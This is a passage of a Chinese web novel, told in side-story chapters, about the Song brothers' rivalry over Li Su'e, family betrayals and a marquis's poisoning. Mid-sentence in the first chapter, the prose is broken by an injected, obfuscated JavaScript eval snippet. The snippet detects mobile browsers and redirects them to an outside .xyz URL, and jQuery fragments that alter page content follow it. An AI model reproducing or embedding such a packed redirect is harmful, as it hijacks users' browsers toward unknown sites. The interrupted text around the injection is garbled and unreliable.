今日发生的一切震动了在场的锦衣卫们,个个神情古怪地看向李素娥,心中大呼不解:“她凭什么啊!” 殊不知,东仁医馆的学徒们也十分忿忿地瞅着宋氏兄弟:“不就生了张好脸,他们兄弟二人凭什么啊!” 至于赵旭,他们压根就没有把他当回事儿。 “现在的年轻人不简单,个个眼光都利得很哪。”将一切尽收眼底的泰和帝,不禁摇头失笑,再一次看了眼李素娥,见她正头疼地捏着鼻梁,似乎觉得赵旭等人的纠缠就是个麻烦,不由地喃喃自语道:“你教的好徒弟,个个都被你蛊惑得晕头转向,有样学样,现在连喜欢的女子都一并学了去。” 32. 第三十一章 番外:宋琛(五) “宋小旗,你可曾听过《龙王的女儿》?”赵旭忽然问道。 这个故事流传了近八百年,讲得就是龙王的小女儿救了一位落水皇子,并爱上了他,卖掉自己的声音,赌上性命,才得以提前化形变成女子,以哑巴渔家女的身份留在皇子身边。无奈邻国公主截胡冒功,皇子误以为邻国公子才是救命恩人,与其结为秦晋之好。龙女本有机会杀死皇子解除诅咒,可她宁愿牺牲自己,也不愿伤害王子,最后变成了海上的泡沫。 宋琛不但听过,印象还十分深刻,不是因为它的作者是自己的祖宗赵嘉仪,而是这个故事曾经决定他和宋珩的命运。 很小的时候,他的亲姨父,也就是表妹林思苑与林思薇的父亲给他们讲了这个故事后,问他们:“如果你们是龙女,会不会为了皇子而放弃自己的生命?” 宋珩虽然比他小一岁,可从小脑子灵活,每次老师提问,自己还在思考,宋珩便已回答得漂漂亮亮。可这次宋珩却哭得稀里哗啦,抽噎着说不出话来,于是他罕见抢了个先,干脆地道:“不会。” 姨父问他理由。 年方七岁的他已经对死亡有了浅浅的理解,知道人死之后会住进黑漆漆的棺材里,然后埋在地下,永远与黑暗作伴,只是想一想便觉得后怕不已,因此他十分坦荡道:“因为我不愿意死。” 姨父笑着点了点头,没有做出任何评价,然后将目光转向了还在哭泣的宋珩,面上未见半点厌烦之意,耐心十足地等着他。 年幼的宋珩哭了半响,才抹着泪道:“龙女太可怜了,皇子非蠢即坏,如果我是龙女,我也不会为了他而死。” 当时姨父眼睛一亮,蹲下身来,视线和宋珩平齐,饶有兴致地追问:“阿珩为何说他们非蠢即坏?” 宋珩擦干眼泪,不屑地撇了撇嘴,似乎对公主充满了不满:“怎么猜也知道不是公主啊,先不说公主如何不顾身份跳到海里,可公主身娇肉贵怎么救得起他一个大男子?” “阿珩怎么会想到这里去?”宋珩话音刚落,宋琛深深记得当时姨父的眼睛更亮了,急切问道。 宋珩不假思索道:“前天我不小心从树上跌下来,王家表姐比我还高些,可她费了好大劲都拖不动我,还是跟她同岁的丫鬟才将我背了回来,故此我猜闺中女子的力气是一般是很小的。皇子即便不知道龙女的身份,可也只有常年与水为伴的渔家女才能救他啊。如果皇子连这个也猜不出来,那他就太愚蠢了,配不上冰雪聪明的龙女。如果他猜出来却不说,那就太坏了,对不起龙女的救命之恩。” 姨父听完,站起身来,哈哈大笑,将宋珩一把抱在怀里,继续问道:“如果可你非皇子不可,你会怎么办?” “我会揭穿公主的真面目,告诉皇子自己的真实身份。”宋珩想了想道,最后又抽着鼻涕补了一句:“如果皇子依旧不从,我会让龙王将他抓到海里,直到他愿意为止。” “对,男子汉就要如此,当争则争。不过我们是书香门第,熟读孔孟,做事要有章法,阿珩小小年纪就已经懂了先礼后兵的精髓,我林氏当兴。” 宋琛到现在依然记得姨父当时看着宋珩的神情,整个面庞熠熠生辉,眼底满是慈爱和惊叹,仿佛在宋珩的身上看到了毕生的希望。 从那以后,姨父和姨母就偏心起来,每次带给宋珩的礼物总比自己要贵重得多,还时不时地将宋珩接到金陵林家常住…… 随着年岁的渐长,宋琛早已明白幼时姨父考较的含义。姨父是林家当代家住,只是他没有儿子,族里也并无出众的孩子,最终打算从他和宋珩之间选出一个孩子入赘林家,继承林家基业。 …… “回殿下,自然听过。这个故事情节跌宕起伏,龙女的痴情给下官印象极深,至今尤为感动。”宋琛失神了片刻,不过立即便从久远的记忆中走出,不动声色道。 赵旭自从知道他和李素娥的婚事的当夜,不知何故触怒了泰和帝,被禁足了整整两个月,今天刚出来,便单独召见了他。 宋琛知道赵旭绝非无缘无故地问他是否听过这个故事,于是静静等着他的下文。 哪知赵旭把手往后一背,再次卖了个关子:“宋小旗,你对故事中的公主如何看?” 宋琛挑眉,怀疑赵旭是不是听了些风声。 最近他刚好遇到了一个类似故事中公主的女子,此女正是辽东的徐有凰。 自从跟李素娥订婚之后,他时常去探望她,只是她大多数都很忙碌,偶尔碰到她空闲,也是极为疲惫,不愿意再说话的样子,很多时候都是她身边的徐有凰代为招待他。 如此几次之后,宋琛对这个美貌非常的女子也渐渐了解起来,为人大方爽快,医术也并非他所想的那般差,反而断症开方的水平很高。 本来对她印象逐步改观,只是她突然有天提起了那日他受伤之事,自称是他的救命恩人。 宋琛简直怀疑自己听错了,她以为自己是龙女的皇子么? 李素娥虽然对外的身份是个学徒,加上经常说话不中听,不知情的人在背后皆言:徐姑娘模样好,医术强,出身也不赖,却谦逊待人,李素娥医术平平,每天只坐在周芍身边,对着学徒和病人指指点点,耍足了大小姐威风,典型的人菜脾气大。 可宋琛知道只要有心人略通些新医的基本原理,就会明白李素娥与其说耍威风,更多的是指出学徒的错误,忽略她那暴躁语气,她的话大多讲在要害。 宋琛肯定那日是李素娥救了自己和汪静,甚至怀疑身怀入微之术的人恐怕也是她,说他眼睛两天会复明,果然第三天便看得见了,那样精准的判断,简直神乎其技。 宋琛想到此处,直言道:“贪心不足,心怀侥幸罢了。” “原来宋小旗不怎么看得起里面的公主。”赵旭闻言,嘴角露出一丝高兴。 宋琛虽然直觉不对,可又说不出所以然来,只能似是而非道:“她只是个反角罢了,说来说去还是故事里皇子的错认了救命恩人。” 赵旭却对宋琛回答很满意,像个小大人继续道:“孤逃婚那日曾落水,当时有一女子站在岸边,看着孤挣扎了半天,却无动于衷。孤以为自己必死无疑之际,却有个女子跳水救了孤。当孤醒来时,先前的女子却道是她救了孤。若非孤在昏迷之前,看清了救人女子的模样,恐怕就要像故事里的皇子一样,被这个女子耍得团团转。宋小旗可知道那个贪得无厌的女子是谁?” 宋琛这才知道他说的并非徐有凰,似是想起了什么,反而问道:“恕下官愚钝,还请殿下解惑。不过在此之前,我想知道真正救您的女子是谁?” “一个不认识的女子罢了。”赵旭大概没有想到宋琛会反问自己,愣了片刻,才面色迟疑道。 宋琛与他相处多年,立刻看穿了赵旭的言不由衷,却也不再追究,而是顺着他的话:“那倒是可惜了。” 赵旭不满自己被宋琛带偏话题,将了他一军:“不过那个胆大包天的女子就是宋小旗的未婚妻李素娥。” 说完,眼睛一眨也不眨地盯着他,似乎要看他得知自己的未婚妻是如此卑鄙小人后,他是何种表情。 宋琛听着赵旭拙劣的挑拨离间,心底一哂。 大昭寺位置偏远,极少有女子往里面进香。既然赵旭那日在大昭寺见过李素娥,他更加确定了救他之人是李素娥了。 “下官了解素娥妹妹,她断不是这种人,想必其中有些误会。”宋琛看着赵旭一拳打在棉花上的憋屈模样,内心好笑,面上却不表露丝毫,一脸诚恳地请求道:“如果殿下真的耿耿于怀,下官替素娥妹妹赔个不是,还望殿下看在李千户和下官忠心耿耿的份上,原谅素娥妹妹一次。” “宋小旗你可知我那日要大张旗鼓地捉拿李娘子?”一计不成,赵旭又生一计。 宋琛心道:我一点也不想知道,你不去找你的救命恩人,追着骗你的人不放是怎么回事? 不待宋琛回答,赵旭脸上流出一股暧昧:“那日她不仅试图骗孤,还趁孤昏迷不醒,轻薄于孤,被孤抓个正着,说好了此生要对孤负责,做孤的良娣……” 宋琛面色一寒,冷冰冰地打断他,半跪于地:“我想殿下误会了,世上有一种救急之术,名曰人工呼吸。当时殿下溺水不醒,素娥妹妹见殿下只是个孩子,故此情急之下,不得已出此下策,还请殿下看在素娥妹妹救您的份上,恳请您勿要坏她的清誉。” …… 宋琛走在回府的路上,头顶炽阳当空,身上汗流不止,心底却满是阴霾。他早就知道赵旭对自己的未婚妻有些意思,可赵旭素来心性不定,本来并不将其放在心上,想到离去之际,赵旭软硬兼施的威胁,不由地冷笑:“只是我宋琛的人怎会拱手相让?” 回到宋府后,他径直来到自己的屋前,打算好好睡上一觉,再与赵旭斗智斗勇,早日打消他不切实际的念头,只是刚推开房门,便看到宋珩端坐于桌前。 “大哥。”宋珩见了宋琛,立刻起身迎了上来。 宋琛坐下后,只见桌上中央放着一个小炉,炉上正烧着一壶水,茶壶咕噜噜作响,显然水刚好烧开,瞥了眼宋珩身前的茶具,轻轻笑道:看来我来的正是时候,有幸再品一品阿珩的手艺。 金陵乃水乡,对茶道多有研究,高门大族更是玩出了花样,宋珩算是长在林家,耳濡目染之下自然也擅长此道。 “区区小道耳,大哥莫要取笑我。”宋珩摆弄起桌上的茶具,动作娴雅优美,经过繁复的操作之后,斟了两杯热茶,递了一杯给宋琛。 眼前的茶香袅袅,淡而不散,宋琛欣赏片刻后,一饮而尽,看着宋珩欲言又止的脸,嘴角再次扯出一个淡笑,单刀直入:“今日阿珩找我,恐怕不是只为喝茶吧。” “不错,我确实有件事要求大哥。”宋珩闻言起身,站到宋琛身前,突然掀袍,直直地跪了下去,“大哥,我心悦素娥,想求你解除和素娥的婚约。” “凭什么?凭你借着老师和表妹的往事才让她对你另眼相待吗?”宋琛转着手中的空杯,察觉到宋珩瞳孔一缩,居高临下地看着跪在地上的宋珩:“阿珩,这个世界不是只有你一个聪明人。大哥资质愚钝,不如你受老师重视,可终究是老师的弟子,有些事多多少少也有所耳闻。” 那天第一次见到宋珩和李素娥熟稔的样子,宋琛确实以为两人有意。可细细观察之下,发现宋珩不过用老师与表妹为由头吸引李素娥注意罢了。 “果然瞒不过大哥。既然如此,大哥也应当知道素娥两世为人,寻常方式根本无法打动她,唯有老师之事,才能令她正眼看你。大哥明白却不肯放下心中骄傲,自持她是你的未婚妻,想着今后总能日久生情。说穿了,大哥不过是想得到她人罢了。”宋珩抬起头,毫无畏惧地迎着宋琛的目光,嘴角微微扯动,“大哥行事还是一如既往地简单直接。” “手段不在于简单复杂,有用就好。”宋琛面对宋珩近乎挑衅的话,也不动怒,拿起宋珩调制的茶水给自己续了一杯,脸上现出一丝笑意道:“倒是阿珩行事灵活周全,深得林家先礼后兵的精髓。” 天下没有白吃的午餐,姨父待他如子,自是需要他入赘林家作为回报,宋珩早就明白了自己的命运,听着宋琛意有所指的讥讽,眼底冰寒:“如今已经没有林家了。” 宋琛看着宋珩略有苍白的脸,自知失言,心底不由闪过一丝内疚。 其实当年姨父在考较他们的前一晚,他的父亲已经问过他一次了,他的回答跟宋珩差不多。 “皇子又蠢又坏,根本不值得为他死。何况龙女本事那般大,如果我是她,会直接将皇子掳回海里,才不会搞那般多花样。” 只是父亲听了答案后,感慨地摸了摸他的脑袋,要他面对姨父时,说自己怕死。 每每想到这里,宋琛就已经明白:原来父亲早就打定主意要将宋珩送到林家做赘婿。 他也曾愤怒地质问过父亲,为何将宋珩送去做赘婿,宋家家大业大难道容不下一个宋珩? 父亲只是冷酷道:“阿珩除了有些心软和矫饰的毛病之外,骨子里跟你一样自我强势,定不会甘居人下。你固然占着嫡长身份,可不如他反应敏捷,你是压不住他的。可他又胜你不多,除了反应胜你一筹,你们两个半斤八两。今后你们兄弟相争,宋家定会败在你们两个手中。林家赘婿名声虽不好听,但好歹得了实惠,林家千年基业足够他大展宏图了。” 宋琛一直在想,之所以会有那场不公平的考较,他可以肯定是父亲为了平息宋珩的怨恨,故意和姨父演得一场戏。 父亲素来算得精,只是人不如天算,天降姜侯爷。时代变了,新学兴起,短短几年间,就已能与孔孟之道分庭抗礼,取而代之恐怕也只是时间问题。 宋珩很早就看明白了这一点,表面学着孔孟之道,心早就飞向了新学,哪怕姨父打了他无数次,可他还是义无反顾地拜师姜侯爷,成了姜侯爷最得意的弟子,直到姨父七年前做出了最后一搏,落得身死族灭的结局。 本来宋珩作为林家赘婿,未来的继承人,本来是跑不掉的。可姨父对宋珩终究有着父子之情,私通叛军之事,从没有让宋珩牵涉其中,把宋珩林家赘婿的线索几乎消灭的干干净净,甚至还将林家积累的财富私下里给父亲,托他转交给宋珩。 世人皆道宋珩是因夺妻之恨,才会自出姜氏,实则宋珩与姜侯爷有抄家灭门的血仇。 宋琛虽然对宋珩有一份愧疚,可想到他觊觎自己的未婚妻,心中依旧愤怒难言,这时宋珩又不停地刺激于他:“只是素娥非常人,有姜氏和李氏做主,连太子都不能勉强于她。大哥若是以为有未婚夫的名义便可高枕无忧,恐怕打错算盘了……” 手中的茶杯猛地掷向宋珩,宋珩却不避开,龇牙咧嘴地捂着肩膀,苦笑:“大哥好狠的心。” 宋琛冷眼看着宋珩一脸惨白,视若无睹地绕过宋珩,走到床边,撩开帐子,鞋也顾不得脱,躺倒在床,闭目而眠。 很快屋内响起均匀的呼吸声。 …… 当宋琛醒来时,发现外面太阳已经落山,算了算时间自己睡了近三个时辰,即使养伤期间,午睡也未有这般久,怪不得浑身僵直。他活动着肩颈走到桌前,瞥了眼依旧跪在地上的宋珩,叹了口气。 中午还信誓旦旦不会将自己的人拱手相让,只是他终究不是龙女,他的竞争对手不是公主,而是唯一的胞弟。 “爹,阿珩是宋家的孩子,不想再去林家了。”七岁的宋珩抱着男子的大腿,泪眼婆娑道。 男子脸上露出动容之色,满眼皆是心疼,动作却不含糊,拎起宋珩甩上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730447|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马车:“阿珩乖,你姨父想你了,去看看你姨父姨母,还有你的思苑妹妹。过两个月,你就能见到爹和娘了。” “三年未见二少爷,你的拳脚功夫比以前精进许多,实战能力更是厉害,素基像你这么大的时候,都不如你。”一个气质剽悍的高大汉子看着练拳的宋珩,言语间赞叹不已。 “李叔叔过誉了,熟能生巧罢了。”八岁大的宋珩已经变得十分爱笑,见高大汉子疑惑,眉眼弯弯解释道:“这两年常跟林家子弟切磋。” “阿珩,姜侯爷今天带我们做了小孔成像的实验,极有意思。”宋琛兴奋地对着十一岁的宋珩道,见他面色黯淡,立刻收起了欢快之色“姨父不该老拘着你,学什么之乎者也,你应该去见识一番新学之道。阿珩,你我模样相近,我们明天两个换一换,你要亲自去听听姜侯爷的课,那才是真正的大开眼界。” “真的行吗?”宋珩小心翼翼地问道,又怕宋琛反悔一般,迫不及待道:“谢谢大哥。”眼底露出期待的神色,素来郁郁寡欢的脸上迸发有了一丝激动的笑意。 “阿珩,你为何如此憔悴,还有你的腿怎么了?”宋琛一把扯住走路歪歪斜斜的宋珩,却听到宋珩压抑不住地“嘶嘶”抽气声,像是想到了什么,不顾他的挣扎,撩开他的衣服,见到眼前血肉模糊的少年躯体,顿时一股愤怒之意涌上心头:“姨父打的?” “大哥不必担心。看着严重,不过都是皮外伤罢了。”宋珩面色平静穿好衣服,唇角露出一丝得意笑容:“姨父已经答应我,只要不拉下他所布置的功课,同意我跟着姜侯爷学了。” “阿珩快逃。你和林家的关系泄露了,官差要捉你问斩。”宋琛推着宋珩往后门外跑,不忍告诉他,父母为了换取平安,主动出卖了宋珩。只是他们刚跑到后门,发现一群神色肃穆的锦衣卫同僚正严阵以待。 宋琛拉着宋珩转头就跑,宋珩定定站在原地不动,环顾了一圈周围的锦衣卫,深吸一口气,露出一个解脱的笑容,冲着焦急的宋琛,微微摇摇头:“大哥,没用的,我逃不了了。” 宋珩披头散发,戴着枷锁,拖着镣铐,却神色淡然地一步一步走向断头台,即将踏出最后一步时,突然对着特来送他最后一程的宋琛道:“临了方知生死之间有大恐怖,大哥,我其实很害怕。” 宋珩因过往经历,异常早熟,宋琛多年前就已经将他当做成人,这时打量着他青涩的面貌,才意识到他其实不过是个十六岁的少年而已。 宋琛皱眉看着衣衫不整,满身酒气的宋珩,他昨晚和母亲一起去侯府探望思苑表妹,如今的姜夫人。只是母亲早早就独自回来了,宋珩一夜未归,现下丝毫不顾形象地瘫坐在大门的台阶之上,望着自己讥笑道:“三年前是表妹求姜侯爷,才保下了我,作为回报,我必须给她林家传宗接代。大哥,我现在算是明白了何为最难消受美人恩。” 笑着笑着,宋珩开始止不住地呕吐起来。 往事一幕幕地从宋琛记忆中翻出,素来冷硬的心开始抽痛起来:时人皆以为父母偏心宋珩,其实不过内心有愧,从始至终只是在补偿他罢了。 “起来吧,今晚我就会跟父亲说解除婚约一事。”宋琛踢了宋珩一脚,冷冷道。 “多谢大哥成全。”宋珩身体虽好,但水米未进地跪了三个时辰,也有些撑不住了,脸色苍白得吓人,可眼底的溢满了欢欣。 宋琛喝了一杯冷茶,满嘴苦涩:“宋珩,我不是让给你,而是她确实待你不一般。” 那日徐有凰冒充自己的救命恩人,宋琛不愿与徐有凰多费口舌,正想直接拆穿她,只是徐有凰接下来的话如利剑般刺痛了他,“这么久了,你也该看出来了,素娥和你弟弟宋珩走得很近,她对你毫无意思。若不是她那时受了刺激,破罐子破摔,根本不可能轻易同意跟你的婚事。” 正是因为知道徐有凰说得是实话,所以心才会发痛。他早就看出了李素娥对宋珩或许并非有意,但也知道她对宋珩至少是特别的。正如赵旭所言,她患有脸盲之症,只记得区区几个亲近之人,为何独独记得宋珩。即便要打探姜侯爷和表妹,问他便是,何必舍近求远。 宋珩得到了想要的结果,见宋琛神色不好,知趣地提出告辞,宋珩看着他一瘸一拐的样子,摇了摇头,在他即将出门时,忍不住提醒道:“你应该知道她和老师关系不一般,我们也都清楚老师找了她十年,若不是他和圣上起了间隙,害怕连累她,是不可能娶表妹来掩人耳目,他不会眼睁睁地看着她嫁给别人的。” 林思苑和林思薇生得极像李素娥前世小时候,当年陆誊见了她姐妹二人便大吃一惊,以为有一人是她的转世,也是从那时开始收起了女学生,打着“巾帼不让须眉,新学对待男女一视同仁”的幌子,真实目的就是找出究竟谁才是李素娥的前世。 宋琛略有些伤感地想:看来应是思苑表妹更像李素娥前世。当年老师待她二人无任何不同,随着她们出落得越来越不一样,老师越来越区别对待,常常看着思苑表妹出神。原来她生成那个样子,怪不得汪静说她真实模样美若天仙。 “他们前世确有些情意,可表妹曾对我说过,他们之间可能隔着血仇。本来我还将信将疑,可是仔细一琢磨,确有些端倪。”宋珩面无表情道,他没有直接说出理由,反而从一件不相干的事情说起。 “李素基当年为了收回卫所土地,在辽东大开杀戒一事,大哥想必有所耳闻。据说辽东之所以很多女子做工,就是因为李素基将人杀得太过,人口大规模减少,劳动力根本不够,不得不让女子充数。” 宋琛点点头,当年圣上命宋家全力支持李家,因此父亲投了家族三分之二的财产。宋珩听闻李素基的所作所为后,毅然将林家所留的财富全部跟投,借着林家遗留的人脉,说服各地豪族巨贾为李氏保驾护航,与姜氏打擂台。 “南直隶富甲天下,姜侯爷当年面临的反噬更为严重,可他却并不行斩草除根之法,本打算全部按罪量刑,对于没有参与的罪人之后,最多没收财产,不愿伤其性命。只是我们的圣上无法容忍有人背叛赵氏江山,为了震慑天下,动辄抄家灭族。” “阿珩慎言。”宋琛知道姜侯爷只想在南直隶推行新学,除了断人财路之外,并不想弄出大规模人命。姜侯爷悲天悯人,可泰和帝了解这帮豪族能量巨大,动了他们的财路,根本不可能感激你的不杀之恩,定然报复不断。林家在南直隶声望巨大,又坐实了有造反之意,泰和帝怎会放过这个杀一儆百的机会,甚至借着林家之事,将南直隶的高门大户全部一网打尽,杀得人头滚滚,鲜血染红了金陵水。 泰和帝看似性情和蔼,实则是真正的冷血无情,只要挡了他的路,就会毫不犹豫地碾死你,除非你有足够的实力让他投鼠忌器,比如姜氏,李氏勉强算半个。 至于宋家,不过是一条有实力的狗。若不是宋家的基业在荆楚,且与皇室有着千丝万缕的联系,就凭林、王、宋三家素来连枝同气的关系,宋家恐怕也步了舅家王氏的后尘,早就被打成林家同伙,与其共赴黄泉了。 宋珩闻言,微微冷笑,却不再提及泰和帝,话音一转,神色怅然道:“姜侯爷常说冤冤相报何时了,父母之罪不应牵连到下一代,恐怕就有物伤其类的缘故,不由网开一面。说起来,他的弱点哪个不是因她而起呢?” 33. 第三十三章 番外:宋琛(六) 泰和二十八年是大周极其不平凡的一年。 新春以来,姜氏与李氏的斗争愈演愈烈,姜氏一改往日的低调,气焰陡然嚣张起来,不再顾忌泰和帝的调停,仗着实力深厚对李氏穷追猛打。 宋琛看得出李氏已经到了穷途末路的地步。本来李氏内有泰和帝的偏帮,外有各地商贾巨族的输血,不该毫无还手之力。谁能想到姜氏竟然改良了技术,作坊效率大增,通过海路从南直隶运到全国各地的产物比李氏便宜了三成有余,李氏作物输得丢盔卸甲。 “如果弟妹能够帮忙,也许李氏还能勉强撑一撑,争取些时间……”宋琛想到刚刚看到李素娥五个月身孕,不由摇摇头,感叹姜氏真正选了一个“好时机”。 由于入微之术对胎儿有影响,她自怀孕起不再过问李氏一族的事务,李氏相当于自断一臂,自然斗不过升级换代的姜氏。 “大哥,刚刚素娥无心之语,请勿要与她计较。”宋珩匆匆赶来,对着宋琛长长一揖,为李素娥方才嘲笑宋琛带回私生子之事,向他赔礼道歉,“说起来,一切皆是……” “好了,阿珩,不必多说了,过去确是我不察,才酿成今日苦果。”宋琛打断宋珩的话,对着他使了个眼色,抬脚往外面走去。 宋珩苦笑着跟了上去,自家娘子极为耳聪目明,隔得一丈远都能听见你的谈话。 两人进了快活楼,掌柜见是自家公子,立刻为他们腾出隔音最好的顶楼雅间,亲自为他们上了下茶点后,随即关门离开了。 “姜家和李家之事,弟妹到现在还蒙在鼓里,实在出乎我的意料。”宋琛随意坐下,对着倚在窗边的宋珩开口道:“李素基也就罢了,他对弟妹终究还是有几分兄妹之情。没想到圣上竟然也放过了弟妹,这般心慈手软一点也不像他的风格。” “姜侯爷放言,假如他赢了,绝不会追究他们的子孙后辈,反而会以礼相待,甚至还会保太子登基、青哥儿做镇辽东。但只要娘子出了半点意外,他将不再留任何情面,要所有人为她陪葬。” 宋珩背对宋珩,望着窗外熙熙攘攘的人群,宋琛不知他是何种表情,但想来他应是心情不虞,那两人情分太深,若非实在缘浅,定然已是神仙眷侣。而李素基和自己的娘子又何尝不是这样,也是天公不作美,生生错过一对有情人。 正当宋琛感叹他们两兄弟是幸还是不幸,宋珩那略带讥诮的声音又在空气中响起:“姜侯爷把人命看得很重,又要以身作则打破儒家“父父子子”的观念,何况他至今无子,太子从小长在他身边,和他情同父子,而青哥儿是娘子的亲侄子,定然不会出尔反尔。圣上和舅哥想来也明白这个道理,自然也就熄了利用娘子的心。” 宋琛摇头失笑:难怪父母对弟妹巴结得卖力,原来有这么一层缘故。无论姜氏和李氏谁胜谁负,只要弟妹在,宋家都会全身而退,果真打得一手好算盘哪。 “老师待弟妹倒是一如既往。”宋琛不禁感慨起来,传闻姜氏之所以从泰和十年起放任李氏发展至今,有部分原因便是姜侯爷看在弟妹的面儿上不忍下手。 宋珩嘴角扯了扯,想到胭脂说自己长得像姜侯爷前世,又思及李素娥时常恍若看故人的表情,眼底闪过一丝黯然和阴冷,“他们虽远隔千里不曾见面,心灵上却始终相依为命。” …… 同年五月,大周迎来了第一场全国范围的大暴雨,宋琛望着窗外阴沉沉的天空,心道:这场大雨已经下了近半个月,不知何时是个头,或许老天爷都在为老师的离去而痛哭。 大周内部态势原本一触即发,哪知在这紧要关头,姜侯爷离奇暴毙,姜氏失去主心骨,各方争权夺利,顿时乱了阵脚,陷入四分五裂之中。 “阿琛,你快去听雨台,刚刚素娥找了思苑,往那里去了。”王氏匆匆忙忙地跑过来,打破了宋琛的沉思:“素娥对思苑心里有气,万一气性上来,娘担心她气出个好歹。” 姜侯爷下葬不到一个月,林思苑觉得在侯府易触景生情,特意搬到宋家借住。来了不到两个月,宋珩跟李素娥为她吵了七八回。 李素娥素来口不择言,说话扎心,宋珩气得整日借酒消愁,然后在某个夜里和林思苑酒后乱性,被李素娥捉奸在床,自此李素娥见他俩便勃然大怒。 宋琛面无表情点点头,吩咐左右:“去请大少奶奶来,说我有要事找她。” “你自己去便是,何必叫上你媳妇!”王氏慌忙制止,见宋琛眉头微皱,神色不满道:“你表妹新丧,正是伤心难过的时候,你媳妇儿本就对她又没个好脸色,还不把你表妹挤兑死。若不是素娥对我有心结,娘会来求你吗?” 宋珩和林思苑事发当晚,王氏自言身体不济,将李素娥留了整整一夜。李素娥咬定王氏故意为之,每次见了她都会歇斯底里,闹得王氏灰头土脸,不敢出现在她面前。 “老师尸骨未寒,她却跟阿珩犯下那样的大错,娘子自然为弟妹鸣不平。” 徐有凰与李素娥多年情分,本就对她跟宋珩走得近略有微词,发生这件事之后,对林思苑更是冷言冷语,时常让她下不来台。 宋琛最终拗不过王氏的哀求,匆匆赶往听雨台,刚好远远瞧见林思苑将一个绿色浑圆的茎块植物递给李素娥。 宋琛知道那是姜氏一年前从西洋人手中得到,名为马铃薯的植物,不挑土地肥瘦,种在哪里都能活,亩产又极高,唯一可惜的是有剧毒,家畜食后会全身抽搐腹泻而死。姜氏一直试图消除其毒性,好令其作为粮作物。 “陆誊让我筛选无毒土豆?”李素娥接过马铃薯上下抛了抛,然后将其扔到亭外,似笑非笑地看着林思苑炫耀道:“他舍不得。” 宋琛听着她语气里的挑衅,不由对宋珩和姜侯爷生起一股同情之意,这两个女人不拿自己男人作依靠,总拿对方的男人戳对方痛脚,老天真是错点鸳鸯谱。 宋琛正要上前劝开他二人,林思苑见她识破自己的谎言,脸上并不见惊慌和尴尬,反而抚掌轻笑,露出一个高深莫测的微笑,飞快凑到李素娥耳边低语。 “不可能,你骗我。”李素娥登时脸色大变,猛地朝林思苑推去,她力气用得不小,林思苑倒退两步,她自己也因此往后倒去。 宋琛早就直觉不妙,脚步一刻不停欲上前,只是他终究晚了须臾,李素娥摇摇欲坠时,还隔着她四五步,千钧一发之刻,林思苑飞快地扯住了李素娥,轻轻瞥了她的肚子一眼:“小心,你快要临盆了,若出了意外,李素基更不会放过我了。” “弟妹,没事吧?”宋琛见李素娥无碍,略略松了口气,赶忙上前,将她们二人隔开。此时李素娥似乎已经完全平静下来了,只是她却不回话,如同木偶一般,无知无觉地站在旁边。 宋琛瞧她神态异样,心底担忧,正想问林思苑究竟说了些什么,却瞧见宋珩焦急地跑了过来。 宋珩见了李素娥的样子,面色顿时阴寒起来,将李素娥护在怀中,冰冷的目光如同利剑般射向林思苑:“你对她做了什么?” “姜侯爷的死亡真相,李素基是如何借你我之手毒死他的。”林思苑对着宋珩妩媚一笑:“不过表哥放心,你我不知情之事也一并告诉了素娥,她定会原谅我们的无心之失……” “够了!”宋珩白着脸打断林思苑,只是还未说完,李素娥挣开他,跌跌撞撞地离开了听雨台。 宋珩顾及她笨重的身子,不敢上前阻止,又怕她神情恍惚摔倒在地,只能胆颤心惊地跟在后面,一路虚扶着她。 宋琛见他们的背影消失后,目光投向林思苑。 她毫无畏惧地迎上他的目光,含笑问道:“大表哥是不是好奇,我早不说晚不说,偏偏为何今天刺激她?”不待宋琛回答,她又抢先自顾自道:“她要跟宋珩和离,今天就要回娘家,李素基说不定已经等在外面了。” 宋琛冷冷看了她一眼:“这岂不是正合表妹之意。” “我虽然对表哥势在必得,可也知道只有在素娥身边,才能保下这条薄命。”林思苑见宋琛神色变幻,半掩着面容,吃吃轻笑,“素娥要离开宋家回李家,我就算豁出脸皮,李家也不肯收留啊。我只好将真相告诉她,这样她总不好意思回李家了。” …… 一切果真按照林思苑之言,李素娥从此不再提和离一事,还彻底和李家决裂。 李家怪林思苑从中作梗,以她害死了李素娥孩子为由,强行将其掳走。李素娥得知后,不顾有恙在身,亲自从李家将林思苑带回,见她受伤不轻,一直照顾她到痊愈。 林思苑如往常般故意挑衅李素娥,无论说得有多难听,李素娥也只是麻木地听着,从来不回嘴,与以前争锋相对的样子截然不同。 本来孟家因全力支持姜侯爷,与李家相互敌视,但孟青平倾心林思苑,孟青平的妻子宁慈醋意大发,除了骂林思苑狐狸精,勾搭人夫,还骂李素娥窝囊废,管不住男人,听起来倒一分有同仇敌忾之意。 徐有凰见了难过,为她打抱不平之余,也气她不争,李素娥却一心扑在培育无毒马铃薯之上,毫不在意道:“孟夫人有权骂林思苑,可我的丈夫和大哥以卑鄙手段害死了陆誊,令她变成寡妇,现在她抢我丈夫,不过也是一报还一报罢了,我有何立场骂她。” ……(第二章) 李素娥为了快速得到无毒马铃薯,无节制使用入微之术,精神错乱得厉害,经常无缘无故地动怒,闹得宋家鸡飞狗跳。 宋老爷见她精神状态不对,生怕她哪天在宋家寻了短见,李素基一怒之下会拉他们垫背,拐弯抹角地请他把妹子领回去。 李素基赶到宋府,在远处看了一会儿李素娥,轻轻笑道:“宋伯父放心,无毒马铃薯没有培育出来之前,妹妹是不会寻死的。” “宋珩和思苑两人不是东西,做出那般苟且之事,素娥和他们抬头不见低头见,我怕素娥伤心过度,影响了身子啊。”宋老爷见李素基不肯给个准话,只好硬着头皮再接再厉,试图把李素娥这个烫手山药丢给他。 李素基看穿了宋老爷的打算,似笑非笑地保证道:“无妨,如果妹妹真的有何不测,她那般喜欢宋二公子,就让他们一家三口团聚,绝不牵扯旁人” 宋老爷听到只拉宋珩垫背,顿时一块儿大石头落地,不再提把李素娥送回李家的话了。 宋珩:“你可真是我亲爹!” …… 不过显然宋老爷放心早了,李素娥本来就认不出几个人,现在几乎完全认不得人了,有次将宋琛当成了宋珩,一刀捅到他的胸口,神情癫狂道:“你根本不是无意,就是一心要他的命!” 